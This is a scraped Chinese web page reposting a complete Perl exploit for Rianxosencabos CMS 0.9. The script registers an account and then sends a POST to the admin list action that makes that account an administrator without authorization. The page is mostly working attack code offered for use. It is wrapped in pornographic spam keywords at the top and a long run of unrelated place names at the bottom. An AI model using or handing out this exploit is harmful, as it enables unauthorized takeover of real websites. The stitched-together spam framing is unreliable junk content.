最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Rianxosencabos CMS 0.9 Remote Add Admin Exploit

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 21:02:42   作者:佚名   我要評論
#!/usr/bin/perl -w # Rianxosencabos CMS 0.9 Remote Add Admin Exploit # Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz # written by ka0x <ka0x01 [at] gmail [dot] com> # D.O.M Labs - Security Researchers # - www.doml
#!/usr/bin/perl -w # Rianxosencabos CMS 0.9 Remote Add Admin Exploit
# Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz # written by ka0x <ka0x01 [at] gmail [dot] com>
# D.O.M Labs - Security Researchers
# - www.domlabs.org - use LWP::UserAgent; my ($host, $login, $pass, $mail, $user_id) = @ARGV ; unless($ARGV[4]){
print "[*] usage: perl $0 <host> <login> <pass> <mail> <user_id>\n";
print "[*] ex: perl $0 http://localhost/ ka0x 12345 ka0x01[at]gmail.com 2\n";
exit 1;
} if ($host !~ /^http:/){ $host = 'http://'.$host; } my $ua = LWP::UserAgent->new() or die ;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1") ;
$ua->timeout(10) ; sub __CREATE { my $req = HTTP::Request->new(POST => $host."index.php?s=usuarios&accion=registrar") ;
$req->content_type('application/x-www-form-urlencoded') ;
$req->content("reg_login=".$login."&reg_pass=".$pass."&reg_repass=".$pass."&reg_nombre=".$login."&reg_mail=".$mail."&submit_register=Rexistrar") ; my $res = $ua->request($req) ;
my $location = $res->header('Location') ;
if ($location =~ /Usuario creado/i) {
print "[ ] user added: ".$login ;
print "\n[ ] password: ".$pass, "\n" ;
} else{
print "[-] Exploit Failed!\n" ;
}
} &__CREATE ; sub __ADMIN {
my $req = HTTP::Request->new(POST => $host."?s=admin&accion=lista") ; $req->content_type('application/x-www-form-urlencoded') ; $req->content($user_id."=0&inputOculto=".$user_id) ; $ua->request($req) ;
} &__ADMIN ;
__END__

相關(guān)文章

最新評論

万全县| 桦南县| 历史| 佛冈县| 会东县| 远安县| 内黄县| 柘荣县| 济阳县| 高安市| 溧水县| 洪洞县| 毕节市| 卢湾区| 广灵县| 丰顺县| 宁城县| 仙桃市| 桑日县| 桦甸市| 祁东县| 美姑县| 宁蒗| 建阳市| 大关县| 徐水县| 沈阳市| 镇江市| 清流县| 丽水市| 吉安市| 大关县| 英超| 澜沧| 昌都县| 河北区| 崇州市| 鹤壁市| 隆化县| 桂阳县| 明光市|